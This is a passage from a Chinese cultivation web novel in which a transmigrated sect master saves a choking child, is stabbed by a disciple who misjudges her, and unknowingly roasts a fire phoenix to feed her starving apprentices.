云见月立刻半跪在苏渺渺身边,迅速检查:口鼻无异物堵塞,但颈部有轻微抓挠痕迹,结合青紫的脸色和胸口无起伏——极可能是气道异物梗阻导致窒息。 是噎住了! 云见月心头一凛,多年幼师应对突发状况的本能瞬间接管了身体。 她毫不犹豫地将小小的苏渺渺从地上抱起,让她背对自己,俯身,一手握拳,拇指侧顶在渺渺肚脐上方、胸骨下方的位置,另一手包住拳头,双臂猛然用力,快速地向内上方冲击。 标准的婴幼儿海姆立克急救法! 一下! 两下! 三下! 云见月动作迅捷而标准。 渺渺小小的身体在她怀中如同没有生命的布偶,随着她的冲击无力地晃动,却依旧没有任何反应,脸色青紫得可怕。 “你在干什么?放开她!”萧星尘目眦欲裂,看着云见月“粗暴”的动作,他心中最后一点犹豫被彻底点燃成滔天怒火。 他认定了,这个恶毒的女人根本不是救人,她是在用更残忍的方式加速渺渺的死亡,她要活活勒死渺渺! “我就知道她是骗人的,她是在折磨渺渺。” 萧星尘声音嘶哑,“我要杀了你!!!” 他抽出剑,朝着云见月毫无防备的后腰,用尽全身力气,狠狠地刺了过去。 “噗嗤!” 剑的尖端穿透了云见月单薄的衣衫,深深扎进了她的后腰。 剧痛! 尖锐无比的剧痛从后腰炸开,席卷全身。 云见月闷哼一声,强忍剧痛没有松手,反而加重了力道,环抱着渺渺的手臂骤然加重。 就在这因剧痛而失控加重的冲击下—— “啪嗒!” 一个黑乎乎、硬邦邦的东西,猛地从苏渺渺微张的小嘴里喷射出来,落在地上滚了几滚。 紧接着—— “哇——!!!” 充满了委屈和劫后余生的嚎啕大哭,骤然从苏渺渺的喉咙里爆发出来。 活了! 云见月松了一口气。 萧星尘握着染血的剑,保持着前刺的姿势,整个人如同被施了定身咒。 他脸上的狂怒和杀意如同潮水般褪去,被一片空白的茫然和难以置信取代。 师尊不是要趁机杀小师妹,而是真的救活了小师妹? 可他却......捅了师尊一剑! 剑“哐当”一声掉在地上。 萧星尘脸色发白,迟来的恐慌让他几乎站立不稳。 他看着云见月后腰那片迅速扩大的殷红,又看看哭得撕心裂肺的渺渺,一股灭顶的寒意从脚底板直冲头顶。 完了。 他误解了师尊,还伤了她……她会怎么对他? 会把他……他不敢想下去,身体开始无法控制地发抖。 鹿闻声和江迷雾彻底呆住了。 渺渺真的被救活了。 师尊用的那古怪的方法,真的有用。 可是,大师兄他…… 郁仙的反应最为诡异。 她死死地盯着地上那个被渺渺吐出来的、黑乎乎的小硬块,一眼认出那是树皮。 渺渺饿到吃树皮充饥,这才噎住,险些丧命。 虽然被救了回来,但归根结底,还是云见月这个毒妇的错。 要不是她不肯给他们饭吃,渺渺根本不至于沦落到吃树皮的地步。 一切,都是云见月的错。 她该死! 不如,就趁着她受伤,再捅她一剑,杀了她! 郁仙的目光如同淬毒的冰,死死盯在云见月身上。 趁着所有人注意力都在渺渺上,她俯身,悄悄捡起长剑,对准了云见月的后心。 第5章 错把神兽当野鸡,抓了杀了烤了吃了饱了 冰冷的剑尖,距离云见月毫无防备的后心,只有不到一寸的距离。 郁仙那双幽深的眼眸里,翻涌着孤注一掷的疯狂。 是她的苛待让渺渺饿到啃树皮,她该死! 只要手腕再往前一送,这个带给他们无尽痛苦的女人就会死的透透的。 云见月对此浑然不觉。 她全部的注意力都在怀中的小团子身上。 她小心翼翼地将哭得直抽噎的小团子转过来,正面拥入怀里。 “好了,好了,渺渺乖,没事了,没事了……”云见月的声音带着劫后余生的沙哑和透支后的疲惫,却有着一种奇异的、令人心安的温柔。 她用自己温热的脸颊,贴着小徒弟汗湿冰凉的小额头,轻轻拍抚着渺渺颤抖的后背,温声细语地安抚着,“吐出来就好了,不怕,师尊在呢,没事了……” 她一遍遍耐心哄着。 月光从敞开的门扉斜斜照入,清晰地勾勒出她单薄而略显狼狈的身影。 月白的寝衣上,后腰那片深色的濡湿正在无声地蔓延。 这副耐心哄孩子、全然不顾自身伤痛的温柔模样,像一把烧红的烙铁,狠狠烫在了郁仙的心上。 她为什么能露出这样的表情? 她怎么可能像个母亲一样温柔? 郁仙举剑的手,不由自主地颤抖起来。 从她记事起,冰冷的柴房、刺耳的辱骂、沉重的鞭子、养母刻薄的脸、假千金得意的笑、亲生父母冷漠嫌恶的眼神……构成了她全部的世界。 她感受过饥饿,寒冷,疼痛,背叛,绝望…… 唯独,从未感受过这样毫无保留的温柔呵护。 她曾经无数次躲在阴暗的角落,看着爹娘将那个冒牌货抱在怀里,视若珍宝。 那时,她心里像被无数蚂蚁啃噬,又酸又涩,充满了羡慕和嫉妒。 她多么渴望,哪怕只有一次,有人能这样抱抱她,摸摸她的头,告诉她“不怕”。 这份渴望,在日复一日的虐待和冷落中,早已被碾磨成了最深的绝望,化作了支撑她活下去的刻骨恨意。 如今,在她最恨的人身上,她竟然看到了她梦寐以求却从未得到过的景象。 这一幕,如此美好,美好得让她心脏绞痛;却又如此不真实,虚幻得像一场随时会破碎的梦。 杀?还是不杀? 只要刺下去,一切痛苦似乎都能终结。 可手腕却像灌了铅,沉重得抬不起分毫。 那染血的背影,那温柔的声音,那轻拍的动作……像无形的锁链,捆住了她握剑的手。 举剑的手臂像是耗尽了最后一丝力气,颓然垂落,冰冷的剑尖在触及地面时发出一声微不可闻的轻响。 郁仙盯着云见月,试探着开口:“师尊,渺渺是被树皮卡住,才险些丧命的。” 说这话时,她的眼睛一瞬不瞬地锁在云见月的侧脸上,捕捉着任何一丝细微的表情变化。 只要这个女人脸上浮现出一丝毫不在意、嫌恶、甚至是为渺渺“偷吃”树皮而可能露出的嘲讽…… 那么,她立刻就会不顾一切地刺过去。 云见月闻言,身体一僵。 树皮? 怪不得这五个孩子一个个都瘦得脱了形,脸色蜡黄,原来原身这个丧心病狂的,连基本的饭食都不给他们吃。 她狠狠皱紧了眉头,脸上是无法掩饰的心疼,看着怀里小家伙的眼神更加柔软。 “渺渺,是不是饿了?” 苏渺渺小小的身体在她怀里猛地一颤,她拼命地蜷缩起来,声音充满了恐惧: “不饿,渺渺不饿,求师尊不要打渺渺,渺渺不敢偷吃了,再也不敢了……” 带着哭腔的哀求,像锥子,狠狠扎进云见月的心脏,疼得她几乎喘不过气。 原身造的孽啊! 竟让一个四岁的孩子饿到啃树皮,还恐惧到不敢承认饥饿。 “不打,师尊不打渺渺。”云见月小心翼翼地将小家伙轻柔地放在木床上,又拉过薄得可怜的破被勉强盖住她冰凉的小脚。 “师尊这就去给渺渺做饭吃,好不好?” 苏渺渺依旧像只受惊的小兔子,紧紧抱着自己,蜷缩在床角,不敢点头也不敢摇头。 云见月直起身,目光扫过屋内依旧呆立、表情各异的四个徒弟。 她强忍着后腰的疼痛和失血的眩晕,“你们也有份。” 话音落下,屋内死寂了一瞬。 萧星尘眼中是难以置信的惊愕;鹿闻声嘴唇微动似乎想说什么;江迷雾则眼睛一亮,下意识摸了摸自己瘪瘪的小肚子;而郁仙……她的瞳孔几不可察地收缩了一下,嘴角那抹冰冷的弧度似乎僵住了。 说完,云见月不再看他们,转身,一步一步,缓缓走了出去。 直到她的背影消失,屋内的死寂才被打破。 “我,我捅了她一剑,她居然没有杀了我?也没有惩罚我?”这完全超出了萧星尘过往的认知。 “我就说,师尊真的变好了!”江迷雾抹了一把脸上的泪痕,小脸上带着微弱的希望,他跑到床边,小心地拉住渺渺冰凉的小手,“渺渺,不怕,师尊要给我们做饭吃呢。” 鹿闻声下意识地摸了摸脖子上那块温热的古玉吊坠,低声道:“但愿吧……” 郁仙望向门外无边的黑暗,眼神幽深。 “做饭?呵……” “谁知道呢?也许,她是想把我们一并毒死,省得麻烦。” ...... 出了门的云见月,脚步踉跄了一下,后背早已被冷汗浸透。 她靠在冰冷的墙壁上,缓了口气,反手摸向后腰。 指尖触及一片温热黏腻的濡湿,借着微弱的月光抬起手一看——满手刺目的猩红。 “嘶……”她倒抽一口冷气,疼痛感这时才排山倒海般袭来。 “好小子,下手真够狠的。” 咬着牙,她拖着沉重的脚步回到自己的寝殿处理伤口。 当冰冷的烈酒浇上伤口的瞬间,锥心刺骨的剧痛,疼的她龇牙咧嘴。 颤抖着手进行了简单的消毒和包扎。 处理完伤口,她步履蹒跚地循着原主的记忆走向厨房。 等到了厨房,云见月再一次傻眼。 灶台冰冷积灰,案板上空空如也。 角落那个半人高的米缸,一粒米都没有,甚至看不到一粒散落的米糠。 存放食材的柜子,空空荡荡,散发着淡淡的霉味。 灵米、灵兽肉……这些宗门最基础的供给,早已被原主搜刮一空,连同最后几颗辟谷丹,都作为“心意”巴巴地送去讨好楚凌风了。 云见月的心,彻底凉透了。 她扶着冰冷的灶台,看着家徒四壁的厨房。 “开局一破宗,徒弟全靠哄,五个嗷嗷待哺的反派幼崽,一个重伤的‘恶毒’师尊,外加一个连耗子都饿跑了的厨房……” 云见月扯出一个比哭还难看的笑容,对着冰冷的灶台低声哀嚎,“这后妈式剧本……是不是也忒硬核了点?” 夜色沉沉,寂静的厨房里,只有她无奈的叹息在回荡。 生存的压力,从未如此真实而沉重地压在肩上。 哄徒弟的第一步,看来得从“喂饱”开始了。 云见月扶着隐隐作痛的后腰,看着空荡荡的厨房,胃里也空得发慌。 坐以待毙,就是等死,必须出去找吃的! 她拖着沉重的脚步回到徒弟们所在的破屋。 推开门,五双眼睛立刻聚焦在她脸上,隐隐带着期待。 云见月:“......” 你们不要用这样的眼神看我,亚历山大啊。 她清了清嗓子,带着一丝尴尬,道:“厨房…没粮了。” 话音落下,一片死寂。 孩子们的眼神顿时充满失望,似乎在说:我们就知道会这样,就不该对你抱希望。 “咕噜噜……”一声清晰的肠鸣突兀地响起。 苏渺渺吓得浑身一抖,立刻用小手死死捂住自己的小肚子,惊恐地看向云见月,大眼睛里蓄满了泪水,仿佛犯了天大的错。 云见月心头一酸,放柔了声音:“我要出去找吃的。” 观察着小家伙们的神色,补充道:“外面危险,你们五个在宗门乖乖等为师,别乱跑,为师很快就回来。” “......”五人一脸沉默。 她无声轻叹,说再多漂亮话,都不如拿出实际行动。 又简单交代了几句,她转身离开。 玄天宗外的山林,寂静得可怕。 只有不知名的虫子在草丛里低鸣,风吹过树叶发出沙沙的声响,更添几分阴森。 云见月借着微弱的星光,仔细搜寻着任何能果腹的活物——野兔?山鸡?哪怕是一只肥点的鸟也好。 然而,找了小半个时辰,别说灵兽,连只普通野兔的影子都没看到。 山林仿佛被洗劫过一般荒凉。 “不可能啊,这么大的林子,怎么一只灵兽都没有?” 云见月疑惑地停下脚步,扶着树干喘息。 突然,一段属于原身的记忆涌了上来。 原身在饿得发慌时,经常跑到宗门附近山林打牙祭,七彩凤羽鸡、碧绒风影兔……那些肉质鲜嫩的小型灵兽,早就被她扫荡一空了。 吃饱喝足后,她从不曾想过给同样饥饿的徒弟留一口。 “……” 云见月无语地扶额,对这个原身简直无话可说。 看来守株待兔不行了,必须深入更远的山林。 她咬着牙,忍着后腰钝痛,朝着远离玄天宗的方向,更深的山林走去。 ...... “糟糕,被火凤凰逃走了,大师兄这可怎么办?火凤凰乃是上古神兽,销声匿迹了千年,今天我们有幸遇到,若不尽快与之契约,万一落到别人手里,就完了。”一个清脆的女童声充满懊恼。 “它才破壳,法力低微,又被我们打伤,肯定逃不远,火凤凰只能是我们的,我们一定能追上。”一个稍显沉稳的男孩声音响起,带着不容置疑的自信。 说话间,两人找准一个方向,就快速而去。 正在寻找灵兽的云见月耳尖微动。 似乎有什么东西,正朝自己这个方向急速而来。 第6章 火凤凰真叫香,隔壁仙尊气吐血 她刚想找地方隐蔽,一个迅捷无比、带着灼热气息的影子就迎面冲了过来。 那东西显然也发现了她,没有丝毫犹豫,张口就是一道炽热的火焰喷吐而出。 云见月瞳孔一缩,堪堪躲过那足以融金化铁的火舌。 借着那火焰的光亮,云见月终于看清了袭击她的东西,是一只体型大概有成年大公鸡那么大,但羽翼华丽修长,尾羽流光溢彩,覆盖着如同彩虹般绚烂的羽毛,美得惊人,周身还萦绕着淡淡的、不同寻常的灵光。 云见月眼睛一亮。 虽然羽毛比记忆中的更华丽,但这体型、这模样…… “七彩凤羽鸡?”她心中狂喜,自动忽略了这“鸡”会喷火的不合理之处。 都修真界了,鸡喷火算什么稀奇? 大概是附近灵气足,鸡也变异了! 眼看那“鸡”似乎又要张嘴喷火,云见月顾不得腰伤,强提灵力。 她这具身体是冰灵根,指尖寒气凝聚,一道凌厉的冰蓝色灵力瞬间激射而出,精准地击中目标。 “唳——”一声短促而凄厉的鸣叫响起,那绚丽的“鸡”瞬间被一层厚厚的寒冰覆盖,“啪嗒”一声直挺挺地掉在地上,动弹不得。 云见月快步上前捡起。 嚯,入手沉甸甸的。 “还挺重,这分量最少有二十斤,够孩子们饱餐一顿了。”她喜滋滋地掂量着。 为了防止它解冻后再生事端,云见月动作麻利地一把拧断了“鸡”的脖子,确认它彻底断气后,心念一动,将它丢进了储物袋里。 搞定! 就在她刚做完这一切,拍拍手准备离开时,两道身影挟着风声,疾速出现在她面前,拦住了去路。 为首的男孩约莫十一二岁,穿着青云剑宗的服饰,面容俊秀却带着一股盛气凌人的傲慢,正是楚凌风的亲传大弟子——萧凡。 他看到云见月,眉头立刻厌恶地皱起:“云见月?怎么是你?深更半夜你不好好呆在你那破玄天宗,跑出来做什么?” 语气充满了毫不掩饰的嫌弃。 没等云见月开口,萧凡身边那个看起来只有六七岁、同样穿着青云剑宗服饰的小女孩,已经骄横地举剑指向云见月,厉声质问:“喂!我问你,你有没有看到……” 话到嘴边,她猛地顿住。 那可是火凤凰,万一说出来被这个贪婪的女人知道了,她肯定会抢的。 她立刻改口:“我们刚才正在追赶一只会飞的灵兽,那灵兽就是往这个方向逃了,你有没有看到?” 语气咄咄逼人。 这个小女孩儿云见月也认识,是楚凌风的亲传二弟子——郁姝。 看着这两个鼻孔朝天的小鬼,她心中不喜。 只因为他们是楚凌风的徒弟,原身对萧凡和郁姝可是掏心掏肺的好,天材地宝没少送,结果就养出这么两个白眼狼?连基本的尊重和感恩都没有。 她冷冷地扫了他们一眼,一个字都懒得跟他们废话,转身就走。 跟这种养不熟的白眼狼多说一句都是浪费力气,她的徒弟们还在挨饿呢。 “站住,我们让你走了吗?”萧凡完全没料到云见月会是这种反应。 以前她见到他们,哪次不是堆着讨好的笑脸,恨不得把心掏出来?现在居然敢无视他们? “云见月,我们在问你话,你聋了吗?”郁姝声音陡然拔高。 云见月脚步一顿,缓缓转过身。 月光下,她的眼神冷得像冰,“我那些天材地宝喂狗,狗都知道对我摇摇尾巴,可比你们两个不知感恩的白眼狼强多了。” “你……你说什么?” 萧凡和郁姝如遭雷击,震惊得瞪圆了眼睛,简直不敢相信自己的耳朵。 这个对他们予取予求、卑微讨好的云见月,竟敢如此羞辱他们? 云见月懒得再看他们震惊又扭曲的表情,转身,头也不回地快步离开。 她得赶紧回去,那只沉甸甸的“七彩凤羽鸡”还在储物袋里等着下锅呢。 也不知道修真界的鸡是什么味。 但可以肯定,绝对比现代30天出栏的速成鸡好吃。 云见月吸了吸口水,已经开始在心里琢磨是烤着吃还是炖着吃了。 看着云见月消失的方向,郁姝气得直跺脚:“大师兄,就这么放她走了吗?万一……万一火凤凰就是被她抓走的呢?” 萧凡脸色阴沉,但很快又恢复了那份傲慢和笃定:“不可能,她为了讨好师尊无所不用其极,怎么可能敢跟我们抢火凤凰?她没那个胆子,火凤凰肯定是往深处逃了,别管她,我们继续追。” 他绝不相信云见月有能力或者有胆量截胡火凤凰。 两人再次运转身法,焦急地朝着更深的山林追去。 云见月脚步轻快,想象着徒弟们看到食物时亮起来的眼睛,嘴角忍不住微微上扬,朝着宗门的方向,加快了步伐。 玄天宗破败的小屋里,油灯跳动的火苗,映照着几张蔫巴巴的小脸。 五个小家伙等啊等,等了一个时辰,也没能等来师尊。 “师尊怎么还不回来?”江迷雾有气无力道。 苏渺渺抬头,大眼睛红红的,像只小兔子,“师尊真的会给我们找吃的吗?” “我刚才捅了她一剑,她这么晚出去又受了伤,会不会遇到危险?”萧星尘有些内疚。 “哼,她最好死在外面,永远都别回来,那样的话,我们就自由了。”郁仙咬牙,烦躁的攥紧了拳头。 就在这时,云见月的身影突然出现在门口。 “为师回来了!” 五双眼睛瞬间像被点亮的星辰,猛地聚焦在她身上。 然而,当他们的视线落在她空空如也的双手上,那点亮光迅速黯淡下去。 云见月将孩子们的反应尽收眼底。 她莞尔一笑,变戏法一样,手腕一翻,那只被冻得硬邦邦的“七彩凤羽鸡”被拎了出来。 “当当当!快看为师抓到了什么?七彩凤羽鸡!”她语气轻快,“今晚咱们开荤,为师这就给你们做烤鸡。” 孩子们瞪大了眼睛,连郁仙都惊愕地看着那只羽毛流光溢彩的“大鸡”,第一次露出了毫不掩饰的震惊。 师尊……真的找吃的回来了? 不是像以前那样,自己吃饱喝足就对他们不管不顾? 巨大的惊喜和难以置信冲击着他们小小的脑袋。 此起彼伏的吞咽口水声在屋内响起。 就连性格隐忍的鹿闻声,此刻看着那只肥美的“鸡”,双眼也控制不住地放光,饥饿感前所未有的强烈。 然而,下一秒一个苍老却带着极致震惊的声音在他识海中响起,正是寄居在他古玉吊坠中的上古炼器宗师——炎老。 “那……那个……” “怎么了,炎老?”鹿闻声还是第一次见他如此激动。 “怎么了?”炎老恨不得立刻从玉里蹦出来。 “那哪里是什么七彩凤羽鸡?那分明是……是上古神兽火凤凰啊。快!快点阻止她!这是无上机缘,怎能烤来吃。”炎老气得说话都不利索了。 火凤凰? 鹿闻声心脏猛地一跳,火凤凰可是传说中的存在。 “您……您确定吗?” “老夫纵横上古,岂会看错?那羽翼间的流火神纹,那隐隐散发的涅槃气息……绝不会错。”炎老急得声音都在颤抖,“你是火灵根,火凤凰也是火属性,你若是契约了它,对你大有裨益。” 鹿闻声看着云见月脸上那找到食物的喜悦笑容,再想想炎老的话,犹豫了一下,硬着头皮走上前。 “师尊,这鸡……” 云见月以为鹿闻声是饿得等不及了,立刻笑着安抚他,“放心,鸡已经被为师拧断脖子死得透透的了,为师马上拔毛,立刻就能烤,再忍半个时辰,乖,马上就好。” 她说着,还一脸骄傲的晃了晃手里毫无生气的“鸡”。 “噗——” 炎老仿佛听到自己心碎的声音,一口气没上来,直接被这虎狼之言气晕过去。 鹿闻声:“……” 他嘴角不受控制地抽搐了几下。 死……死得透透的了? 他默默咽下了到嘴边的话,眼神复杂地看着云见月动作麻利地开始给那只“鸡”拔毛。 五彩斑斓的凤凰羽毛被毫不怜惜地一把把薅下来,随手丢在地上。 不消片刻,那只传说中神圣高贵的火凤凰,就变成了一只光秃秃、肉墩墩、看起来……嗯,确实很肥美的大肉鸡。 “闻声。”云见月处理好“食材”,将光溜溜的“鸡”串在树枝上,招呼道:“你是火灵根,给为师生火,咱们烤鸡。” 看着那只曾经是神兽,如今已面目全非的“肉鸡”,又感受了一下古玉里死一般的寂静,鹿闻声喉头滚动了一下,艰难地应道:“……是,师尊。” 他认命地点燃了枯枝,火焰在他精准的控制下稳定燃烧起来。 云见月熟练地将串好的“鸡”架在火上,开始翻烤。 鸡肉在火焰的舔舐下,迅速变得金黄诱人,油脂被逼出,发出“滋滋滋”的美妙声响。 一股难以形容的、霸道的异香瞬间弥漫开来。 这香气远非普通灵兽可比,它仿佛能渗透灵魂,勾得人腹中馋虫疯狂躁动。 孩子们眼睛死死盯着火堆上那旋转的金黄,口水吞咽的声音更加响亮。 烤鸡的香气越来越浓郁,色泽金黄酥脆,油光发亮。 半个时辰后,终于烤好了。 云见月首先撕下两只带着诱人焦香和汁水的肥美鸡腿。 “来,阿雾,渺渺,鸡腿给你们。” 江迷雾眼睛亮得惊人,却没敢接。 看他那想吃又不敢吃的纠结样子,云见月好笑道:“怎么?不想吃?” 江迷雾赶忙摇头,“不,不是。” “既然不是,那就赶快接着。” 江迷雾颤抖着双手接过鸡腿,“谢、谢师尊。” 盯着手里色泽金黄,散发着霸道香气的鸡腿,他再次忍不住吞咽口水,瞄了云见月一眼,在她鼓励的眼神下,他迫不及待地咬了一大口,烫得直哈气也舍不得吐出来。 呜呜呜,好吃,真的是太好吃了,当初自家没有被灭门时,他都不曾吃过这么好吃的大鸡腿。 苏渺渺见四师兄接过鸡腿,她也勇敢的接过,捧着那只比她小手还大的金黄鸡腿,怯怯的试探着问:“师、师尊……我真的可以吃吗?” “当然!”云见月肯定地点头,“这鸡是为师特意抓来烤给你们吃的,快吃吧。” “谢谢师尊。”苏渺渺的声音带着感动的哭腔。 她小心翼翼地咬下一小口,顿时,难以言喻的鲜美滋味在舌尖炸开,肉质细嫩无比,汁水丰盈,带着一种奇异的暖流直冲四肢百骸。 从未尝过的极致美味让她幸福得眯起了眼睛,小嘴塞得鼓鼓囊囊,像只贪食的小松鼠,吃得满嘴油光,恨不得把舌头都吞下去。 “慢慢吃,别烫着。”云见月看着她两腮一股一股的可爱模样,心头柔软。 接着,云见月又撕下两个烤得焦香、肉质饱满的鸡翅,分别递给鹿闻声和郁仙。 “闻声,仙儿,给,鸡翅。” 鹿闻声看着递到眼前的金黄油亮的鸡翅,用力咽了口唾沫。 他这辈子居然有幸能吃到传说中的火凤凰? 这要是被外面那些修士知道他们把神兽烤了吃了……鹿闻声不敢想那画面。 但……烤都烤熟了,香气如此诱人,他也没有拒绝的道理。 更何况,他也实在好奇,这神兽的肉……到底是个什么味儿? “谢师尊。”他接过来,小心翼翼地咬下一口,瞬间,唇齿留香。 一股精纯、霸道、却又无比契合他体质的力量洪流般涌入体内。 他本身就是火灵根,这凤凰肉蕴含的至阳之力对他简直是天大的补品,仅仅一口,他就感觉四肢百骸被温暖的火焰包裹,灵力运转都顺畅了几分。 “唔……”古玉里,刚被气晕过去的炎老幽幽转醒。 他“看”着外面吃得正香的鹿闻声,再“看”着那被撕扯得七七八八的凤凰骨架,悲愤交加,捶胸顿足。 “暴殄天物!暴殄天物啊——上古神兽……竟、竟被如此糟蹋,这云见月……她……她……” 老头子活了上万载,就没见过比云见月更虎的人。 鸡和凤凰都分不清吗? 他气得神魂又是一阵不稳,但那股诱人的香气又让他都生出一种难以言喻的渴望。 可惜啊,他现在只是一缕残魂,连尝一口这无上机缘都做不到,这种“闻得到吃不着”的折磨,让炎老痛不欲生。 鸡腿和鸡翅分完了,云见月的目光落在了依旧独自坐在角落、努力降低存在感的萧星尘身上。 火光映照着他紧绷的侧脸,他双手抱着膝盖,头埋得很低,仿佛要将自己缩进阴影里。 可能是因为之前捅了她一剑的愧疚感作祟,其他人都围在火堆边大快朵颐,只有他,像只被遗弃的小兽,远远地躲着,似乎没脸凑过来。 第7章 火凤凰真元之力助突破,实力层层往上长 云见月撕下一大块烤得金黄、肉质厚实、油光发亮的鸡胸肉,故意凑到鼻尖,深深一嗅,发出夸张的喟叹:“嘶——哈!好香啊!” 她一边嗅着,一边用眼角余光瞟着萧星尘。 小家伙捂着肚子的手更用力了,喉咙滚动,舔了舔干裂的嘴唇,身体微微前倾又猛地缩回,倔强地把头埋进膝盖。 臭小子,还挺能扛饿。 云见月心里好笑,不急不躁。 她张开嘴,对着那块金黄油亮、汁水欲滴的鸡肉,狠狠地咬了一大口。 饱满的肉汁瞬间在她口中迸溅,一滴金黄的油星顺着她的唇角滑落,在火光下闪烁着诱人的光泽。 她故意咀嚼得啧啧有声,满脸餍足。 “香,简直要香迷糊了。” “咕噜噜……”萧星尘的肚子发出响亮的抗议。 他偷瞄那诱人的肉块,眼中渴望几乎要溢出来。 云见月慢悠悠咽下,这才转头看他。 偷看被抓包,萧星尘小脸腾地涨红,慌忙扭开头,装作若无其事,只是绷紧的肩膀泄露了紧张。 “想吃就自己过来拿。”云见月声音带着不容置疑,“难不成还等为师喂你?” 萧星尘肩膀一颤,眼中渴望与挣扎剧烈交锋,飞快地看了云见月一眼,又像被烫到一样迅速低下头。 见他依旧缩在阴影里,云见月故意拔高声音,满是“惋惜”:“哎!这么大只鸡,吃不完啊。罢了罢了,既然有人不吃……” 她作势要将那厚实的鸡胸肉往旁边地上丢,“……剩下的只能扔了,可惜喽。” “不要!” 萧星尘猛地抬起头,声音带着破音的急切。 那双总是带着戒备倔强的眼睛,此刻死死盯着即将被抛弃的肉,盛满了心疼。 他挣扎着站起身,一步步挪到火堆旁,小手死死攥着衣角,声音低若蚊呐: “师、师尊……别扔……我……我吃……” 成了。 云见月心中挑眉,面上不动声色,将那块沉甸甸、热腾腾的鸡胸肉稳稳递过去。 萧星尘再次飞快地瞥了她一眼,带着一丝不易察觉的探究,颤抖着手接过肉。 “谢……谢师尊。” 云见月只“嗯”了一声,便不再看他,低头专注地啃起自己那只没几两肉的焦香鸡爪。 筋道,耐嚼,每一口下去,那股奇异的暖流便涌向四肢百骸,连后腰那道被他捅出的伤口,都在这暖意中舒缓了许多。 一时间,只剩下细微的咀嚼声和油脂滴落火堆发出的噼啪轻响。 五个小团子吃得满嘴油光,小脸上洋溢着前所未有的满足和幸福。 饥饿被驱散,身体被暖流包裹,这竟是他们入玄天宗以来最美好的夜晚。 江迷雾舔着手指回味,目光无意扫过云见月,蓦地怔住。 只见他们那位向来独享一切的师尊,正无比专注地啃着光秃秃的鸡爪,神情……竟带着一丝珍惜? 鹿闻声、郁仙,连懵懂的苏渺渺都循着他的目光看去。 火光映着云见月平静柔和的侧脸,再看看自己手中啃剩的骨头或油乎乎的小手…… 一种陌生的、难以言喻的感觉,悄然爬上心头。 师尊……好像真的不一样了。 她曾夺走他们的一切,何曾在意过他们饥寒? 更遑论将最肥美的部分分给他们,自己只啃这无肉的爪尖? 云见月一抬头,就看到小团子们,一瞬不瞬的盯着自己,眼神可怜巴巴的。 哎! 原主可真不是人,看把孩子们虐待成什么样了。 明明没有吃饱,却一声不吭,只能眼巴巴的看着她吃。 云见月叹了口气,放下手里的鸡爪,把剩下的鸡肉分给了他们。 鹿闻声的眼神闪了闪,抿了抿唇,将手里的肉递出去道:“师尊,我......我吃饱了,您也吃肉。” 云见月一愣,随即笑着晃晃鸡爪:“为师就好这口,筋道!” 鹿闻声看着她手中光秃秃的骨头,眼神微动。 谁会真喜欢啃没肉的爪子? 师尊……是在骗他吗? 今天的师尊真好,他多希望……能一直这样下去。 饱餐后的暖意驱散了夜的寒凉。 孩子们各自回房。 鹿闻声最后一个离开。 离开之前,特意把火凤凰的羽毛和骨头全部收进储物袋。 上古神兽全身是宝,羽毛和骨头可以用来炼器,不能浪费了。 回到房间,他盘膝而坐,试图入定。 然而体内瞬间如火山喷发! 一股庞大、精纯、霸道至极的炽热能量,自腹中汹涌而出,疯狂冲刷四肢百骸。 皮肤滚烫赤红,汗水甫出即被蒸腾,白气氤氲。 他竭力调动自身火灵力去引导,却如螳臂当车,经脉被撑得胀痛欲裂,几欲爆开。 怎么回事? 为什么自己会突然这样? 鹿闻声急得满头大汗,一时间心乱如麻。 “小子,稳住心神。”炎老的声音在他识海中炸响,“你吃了上古神兽火凤凰的肉,体内积蓄了它的本源精元,你试着引导它冲击壁垒,这是突破修为的天大机缘。” 这就是火凤凰的力量吗? 鹿闻声心神剧震,他没想到,只不过是吃了火凤凰的肉,就会有如此大的能量。 “抱元守一,运转我给你的“先天一气熔火诀”,引凤凰精火淬炼自身,冲击筑基,快!”炎老厉喝。 鹿闻声强压下翻腾的气血,摒弃所有杂念,全力运转功法。 自身赤红的灵力艰难地包裹住狂暴的金红色凤凰精元,拉扯着它们沿着特定的经脉路线艰难运行。 每一步都如踏刀山火海,撕裂般的痛苦席卷全身。 但每完成一个周天,精元便温顺一分,与自身灵力融合,同时霸道地拓宽、加固着经脉,淬炼血肉骨骼。 汗水浸透了他的衣服,又被高温蒸干。 不知过了多久,当东方泛起鱼肚白时—— “轰!” 一股远比之前精纯、凝练、炽热的气息自鹿闻声体内轰然爆发。 无形的枷锁被狂暴精火悍然冲碎。 炼气十层壁垒,破! 炼气十一层壁垒,破! 炼气十二层壁垒,破! 筑基期! 奔腾如江海的灵力瞬间充盈拓宽的丹田经脉,全新的力量感油然而生。 鹿闻声缓缓睁开眼,瞳孔深处似有金红火焰一闪而逝。 感受着体内澎湃的、远超之前十倍的力量,目光复杂地投向师尊寝殿的方向。 一夜之间,连跨三境! 年仅七岁的筑基期修士,在整个青云大陆,也属于绝无仅有的独一份了。 这一切……竟源于师尊烤的那只“鸡”。 或许,这一次真的可以试着……信她一次? ...... 云见月醒来,只觉神清气爽,后腰处竟一丝痛感也无。 她撩衣查看,伤口竟已愈合如初,连疤痕都未留下。 “我去,该说原身身体素质太好,还是昨晚那鸡太补?” 她揉揉肚子,新的一天,可不能让孩子们再饿着。 “清尘术!”一道灵光闪过,周身污垢尽去,清爽无比。 “啧,修仙版东北大澡堂,高效!” 收拾好自己,她心情颇好地出门。 来到苏渺渺住处,小丫头一见她,依旧紧张得全身绷紧:“参见师尊。” 云见月蹲下身,平视她。 一夜过去,小徒儿变化惊人:枯黄头发变得柔顺光泽,苍白小脸透出健康的红晕,虽仍瘦弱,却已有了几分福娃娃的灵气。 果然,被爱会疯狂长出血肉。 这才一晚上,小徒弟就有如此惊人的变化,相信要不了多久,小家伙们就会被自己养成白白胖胖的糯米团子。 云见月信心十足,轻抚苏渺渺头顶:“渺渺,昨晚的烤鸡好吃吗?” 渺渺怯生生点头:“好、好吃。” “那还想不想吃?今天师尊给你做小鸡炖蘑菇。” “小鸡炖蘑菇?”渺渺大眼睛里满是困惑,“好吃吗?” “又香又有营养,吃了长高高,身体棒棒!”云见月笑着解释。 渺渺忍不住咽了咽口水,小脸上满是期待:“那……那渺渺想吃小鸡炖蘑菇。” “好,师尊这就去抓鸡采蘑菇,渺渺乖乖等师尊回来,好不好?” “嗯!”渺渺用力点头。 看着云见月远去的背影,她小声喃喃:“虽然不知道蘑菇是什么……但希望师尊能采到最好最有营养的蘑菇。” 刚踏出宗门的云见月,脚步忽地一顿,心头莫名涌起一股强烈的预感——今天的运气,似乎会格外好呢。 